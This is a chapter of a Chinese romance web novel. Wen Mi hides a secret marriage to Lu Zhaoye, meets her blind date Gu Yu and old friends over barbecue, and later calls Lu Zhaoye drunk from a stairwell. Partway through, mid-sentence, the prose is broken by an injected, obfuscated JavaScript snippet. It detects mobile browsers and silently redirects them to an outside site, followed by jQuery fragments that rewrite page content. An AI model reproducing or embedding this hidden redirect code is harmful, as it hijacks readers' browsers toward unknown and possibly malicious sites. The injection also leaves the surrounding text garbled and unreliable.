不认,是温弥的第一个想法。
不知道岑意在背后站了多久,但该听的,都已经听到了。
此刻,温弥缓慢地转过去,脸色还是煞白,脊背窜上一阵冰冷的麻意。
她看着岑意,嘴唇张了张,却发不出任何的声音,那几秒的沉默,险些输了。
随即,一种‘必须要立刻掩盖’的本能压倒一切。
她吸一口凉气,仿佛听了滑天下之大稽的笑话。
“哈——?”
她的惊诧从喉咙里滑出来,带着十足的荒谬感。
“我听到你跟他说,婚前财产。”岑意还想要继续追问,“你们是商量结婚啦?还是已经结啦?”
温弥慢慢走近,同情地看着岑意。
这让岑意表情从欣喜的吃瓜群众转为了清澈大学生。
“咱们画廊重装是不是甲醛超标,给你熏出幻觉了?”温弥怜悯的目光投过去,让岑意都怀疑自己。
岑意摸了摸额头,“有吗?”
温弥叹了叹气,“我什么时候说婚前财产了?你乱磕CP磕疯掉啦?下午给你放假,去查一查吧,没事儿少进画廊,甲醛超标。”
说完,倒也不给岑意再接话的机会。
一个打拐转移话题。
“还有,上班时间,你在这儿做什么?”温弥的下巴扬了扬,有些领导架势。
岑意的注意力很好转,已然忘了,回她,“刚刚接了个电话,送花的找不到位置。”
“什么花?”温弥问。
“不知道啊。”岑意滑开手机,给刚刚的号码拨过去,“我就在门口呢,好好……”
温弥依旧是一脸茫然。
等岑意跟快递碰上面,花到手才发现是一束蓝色玫瑰,签收人是温弥的名字。
“姐,这谁给送的啊?”岑意抱着这一大束玫瑰花闻了闻,改不掉浑身那股子八卦劲儿,似是对刚刚的“幻听”还存有余念。
温弥翻开卡片看,是她的名字。
但……是谁送的?
“陆昭野,是不是?!”岑意胳膊碰了碰她,“他是不是在追你啊,姐。”
“不是。”温弥回答,她往中心看,一张旧照片夹在最里层,她站在中间,穿着小黑裙高跟鞋微笑,旁边依次是顾屿,还有顾屿的两个朋友。
这是第二次见顾屿时在音乐大厅的合影,顾屿的两个朋友,两个人是情侣。
后来结婚了,朋友圈时不时也会晒晒小孩。
这真是一张有回忆性的照片。
画室漫着颜料味,尤其是画廊重装,过了周末噪音就开始了,温弥没有办法安静赶稿。
更别提岑意和左左想要午休了。
但必须要尽快装好,西班牙的客户后天要到访视察画室。
因为签了BiancoLuna的合同,行业里的名气是彻底放大了。
她有了更多的合作机会。
本来是好事,但私事占据了脑子太多的位置,高兴不起来。
那一束蓝色玫瑰就立在桌前,花瓣上闪着晶莹,清香宁静从俏丽中绽放出来。
很美好的画面。
温弥拿出手机对着玫瑰拍了一张,拿着照片细细端详,顾屿一直喜欢白衬衫,那时候个子清清瘦瘦的,看着干净阳光。
那会儿陆昭野在做什么呢?温弥都快忘记了。
正犹豫着要不要跟顾屿说自己收到了。
手机亮了。
相亲(儿科医生):「花收到了吗?」
这几个字盯入温弥的眼球里。
不知怎么的,这一刻并未觉得轻松,反倒是一种被更复杂的情绪压迫着。
这种感觉没有办法解释。
或许在很多年前,她如果收到顾屿的花会很开心,会因为这一束花而高兴得整晚睡不着。
理想型一旦出现,那种惊艳感是需要很久去治愈的。哪怕后来留有遗憾,也不影响这段成为较为美好的回忆。
她回了一张图片过去。
顾屿:「晚上有时间吗?周茂茂,陈寅也在,他们说想要去南山路那边的烤串店聚一聚,我想要叫上你一块去。」
那家开了很多年,他们以前也常去。
她本能地想要找一个借口推掉。
后面顾屿再发消息时,温弥便没再回。
她坐在庭院里赶稿,思绪是乱的,跟陆昭野车上那番对话是真挺让人窒息的。
江昀的电话打过来,刚接通。
那边问:“弥弥,见过了吧?妈妈说的怎么样?是不是人还不错的?”
愣了一秒,她想到那句话。
这次是真的,人并不差。
顾屿那会儿出现在老教授的私人展,她就应该能想到,或许某个较远的亲戚是认识的。
“见过了。”温弥对江昀后面那句问话并未做出回答。
江昀继续说:“那你接触接触啊,小顾安稳懂礼貌,结婚和谈恋爱不同,选择是很重要的,你不接触永远都不知道合不合适。”
“再说吧。”温弥回。
“你到底怎么想的呀?你跟妈妈说啊。你之前的,人不够好看,又说工作不稳定,不是你想要的,小顾多好啊,工作稳定,也是一表人材,主要是性子温和,跟你恰好是互补,能谦让你的你就应该好好考虑一下。”
江昀这一番输出,闹得温弥脑袋又疼了。
她不耐烦地应:“好了,我知道了。”
这些年没少催婚,江昀和温康比她同龄的爸妈年纪要大十几岁,生她的时候太晚了。
电话一挂断,温弥回了顾屿的消息。
「几点?」
时间约的六点,下班高峰期,这一带不好打车。温弥是等到装修工人五点下班后才准备出发。
出发前,岑意和左左在清点画册。
“一会儿把门锁好。”温弥交代,“早点下班,别留太晚。”
“好。”岑意抬头看她,“对了姐,你桌上的花要不要插进花瓶?”
她扭头看,蓝玫瑰安静地立在那儿,包装纸太厚显得很占位置,桌上是那张合照,“不用了吧。”
温弥靠近,把照片贴到电脑屏幕上。
照片里的她,还在笑着,眉眼里一点忧郁都没有,那时候真好。
她步行到路边,点开打车软件。
附近112人叫车。
她点开陆昭野的会话框:「我要用车,把车送过来。」
刚发过去,有种力量迫使她又点了撤回。
温弥想到,陆昭野公司离这里不远的,送车,怕得跟着一起去。生活已经被搅得天翻地覆了,她并不想再火上浇油。
等了十几分钟,手机界面叫车人数变成了58。她抬头捕捉到路边的出租,快速伸手拦下,拉开车门坐进去。
“到南山路。”温弥说。
与此同时,另一辆车一个打拐朝着画室的门口驶去,也没因转弯而减速。
…
提及往事,她已经不知道什么样的事情,才应该叫人难以释怀。
见到顾屿的时候,是在烤串店门口,顾屿穿得休闲,一件蓝色棒球服外套搭配运动裤,长身玉立在门口,引得人纷纷看过去。
“不好意思,我迟到了。”温弥走近,路上实在太堵。
“没关系的,我们也刚到。”
顾屿一如既往,说话的声音温润如玉。
“先进去吧,他们在里面。”顾屿侧身,让温弥走前面,自己则是跟在侧后方。
经过时间的推移,烤串店重新装修了一番,当下较为流行的重工业风?
内里外都是矮桌,老板没有变,不过老板娘瘦了好多,温弥太久没来,一时间有些不习惯。
直到看见周茂茂和陈寅两口子才轻松片刻,周茂茂穿着一件白裙子,裙摆出沾了芝麻酱,陈寅正用湿纸巾一遍遍帮她擦拭着,嘴里不停地念:“擦不掉不擦了,重新买一套。”
“行吧,那回去你洗,以后这条裙子我在家穿。”周茂茂是一个极其温和的女孩,很少发脾气,平时都很难听到一句重话。
顾屿先开口:“你该让他现在去买一套过来你换上。”
这话是开玩笑的,也让他们两口子注意到了温弥。陈寅扶着周茂茂站起来打招呼,“真是的,都没注意到你们,不好意思。”
周茂茂挺着大肚子,起身有些吃力,笑着跟温弥握手,“好久不见,温弥妹妹。顾屿忙,今天你要是不来,我们怕是又约不到他了。”
温弥礼貌微笑,“宝宝几个月啦?”
“快八个月了,还动呢。”周茂茂做了妈妈后人更加温和了。
温弥有些好奇,想伸手摸,周茂茂看出来了,把她的手贴在肚子上,“你看,是不是?”
“真的。”温弥眼眸一亮,掌心贴着的位置起伏不断。
眨眼间,周茂茂和陈寅都二胎了。
周茂茂笑着,“这个算好的了,老大之前动的厉害些,孕期折磨人得很。那会儿好几次我都想,再忍忍,忍到出来就好了,谁知道,一出来才是噩梦。”
大家都笑了,陈寅接话说,“那这不是怪我那会儿出差,工作忙。”
“现在消停了吗?能带孩子了吧?”顾屿给温弥的杯子添上温水,随后把菜单推到温弥面前,“看看,想吃什么?”
陈寅剥开花生放嘴里,“能带,要不然这次生了,你搬到我们隔壁住,隔壁那套房也是我的,刚出生的小孩你知道的,免疫力低,隔壁住着你,我才安心。”
“所以你带孩子仔细着点,刚出生的宝宝不能着凉。”顾屿接。
“我发现你挺会带孩子的,顾屿,你现在多少钱一个月?要不要考虑再做个兼职?来我们家兼职月嫂。”
“闭嘴。”顾屿看了他一眼。
这话说出来,都被逗笑了。
温弥也跟着弯了弯唇角,眼前这份其乐融融的幸福,像是一层薄纱,身在其中,总觉得隔着一层。
烤串上齐后,除了周茂茂,杯子里都装着啤酒,还是跟以前一样,小酌片刻。
几口下肚,都在聊往事,聊第一次见面的印象,多数都在聊温弥参与的场景,顾屿不会让话题掉在地上,也不会聊她不知道的往事。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363305|183796||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想,妈妈说的顾屿懂事。
应该是不让人尴尬,一个场面能面周转的很好。而烟火气就像是稳定。
中途,陈寅问:“你们这几年一直在联系吗?平时也不见他约我们出来聚。”
温弥看一眼顾屿,没有说话。
那时候是她把顾屿删了,应该是在顾屿有女朋友的第四天。
也没有一句话的告别,就赌气删了。
大抵年少时自己的暗示太浅,让对方看不明白从而错失了机会,删除是气自己。
“你大忙人,谁能约的出来?”顾屿的杯子碰上去。
陈寅喝了酒反问,“你也没约啊。”目标又瞄到温弥那儿,“温弥呢?你结婚了吗?”
看来顾屿也并没有说相亲的事情。
不过温弥是心虚的,结婚证还在她的包里,她摇摇头,也没有说话。
这些看似家常的问题,会像一根细小的针,精准地扎在她心里最紧绷的那根弦上。
包里的结婚证似乎在发烫,提醒她那段无法见光、一团混乱的关系。别人能坦然分享的人生进程,于她而言,是无法启齿的。
“顾屿也没结,你俩看看对方呢?”陈寅喝了酒开始说,“说起来,当年我还以为你俩能成呢,顾屿那会儿被人追,好家伙,那姑娘性子倔极了,追着不放,逢人就说自己是顾屿女朋友,一个学校都知道了。这事儿给闹的,我还专程想去跟你解释来着。”
温弥脸上的血色刹那间褪去了一些,她下意识地看过去,轻微难绽的情绪情绪涌上来。
那种感觉是荒谬的。
“阴差阳错”的宿命感?
不对,是另一桩冲动造成的损失。
她怎么一直这样?像个走错剧本的演员。
好糟糕。
周茂茂观察到了温弥的神情,但她并不知道温弥是因为什么,她的胳膊碰了碰陈寅,陈寅举杯打浑,“喝酒喝酒。”
温弥顺势端起杯子,借助喝酒的动作掩饰尴尬,冰凉的酒液划过喉咙,压不住心头那股复杂难言的燥热。
酒局持续到十点多,他们才散。
那会儿出来,温弥觉得头晕,她多喝了几杯,维持着最后一点清醒。
周茂茂,陈寅先离开。
等人都走光,温弥才觉得风冷。
顾屿说:“我送你。”
“我打车。”温弥拒绝,拦下路边的出租,脚往前跨,手腕被捏住。
“温弥,还在为那件事情生气吗?”顾屿问。
“什么?”
“加上好友之后,我并没有第一时间告诉你我的名字,我很抱歉,只是觉得或许当面聊会更好一些,毕竟是以那种方式重新联系,我怕自报家门会唐突,让你心里有压力。”
话题忽然就变得沉重了,这件事儿并不严重,相亲的开端是挺别扭的,但这种小事情被郑重的提起,有种微妙的感觉。
她抽回手,语气缓和了一些,“我没有在意,都过去了,相亲我也挺无奈的。”
两个人互相看着,相视一笑,尴尬化解了。
温弥坐进车里,头晕得厉害。
靠着车窗睡着,意识在酒精的作用下浮浮沉沉,出租车一颠簸,胃里翻江倒海。
她此刻认为正常的生活应该是周茂茂和陈寅那样子的,要怎么收场?真是一个难题。
到公寓外,付款下车。
冷风让她稍微清醒了一瞬,但脚步仍旧是虚浮的,刷卡,靠着电梯到了门口。
她没有进屋,走到旁边推开安全通道门,用所有的力气扶着楼梯往上爬。
她从包里摸出手机,凭借肌肉记忆点开了电话,手机拨通一个号码。
寂静的楼道里,等待接通的声音格外清晰。
电话被接起的那一瞬间,她没等那边开口,就带着浓重的鼻音,含糊吐出一句:“陆昭野,开门。”
话罢,手指一松,手机滑落,酒精和情绪的双重压力让她意识涣散。
与此同时,门内。
陆昭野在处理邮件,手机里那句“开门”带着沉重混乱的呼吸声,他心脏猛地一缩,眉头微皱,沉声问:“你在哪儿?”
他几乎没有任何的停,立刻从书桌前起身。
“温弥?”他对着手机喊一声,没有任何的回应。
拉开门,门外没有人影。
一种不好的预感死死遏制他,夜太过安静,他立马注意到从楼道风口传来的啜泣声,很低。
他目光如鹰,不带犹豫推开侧面梯楼防火门,视线瞬间就锁定在角落的阴影里。
只见温弥抱着双膝坐在冰冷的地板上,像一只被雨淋湿的小猫,平日里的骄矜荡然无存。破碎和孤零落在脚踝的苍白处。浓烈的酒气环绕着,一种令人揪心的气息。
“地上凉,起来。”陆昭野呼吸一滞,试图让自己的声音平稳,蹲下,拉温弥的手肘。
温弥听到声音,把头抬起来,唇角委屈地下瘪,大颗眼泪涌出来,她声音颤抖。
“陆昭野,对不起,是我做错了。”
她带着哭腔,“我不该拉着你领证。”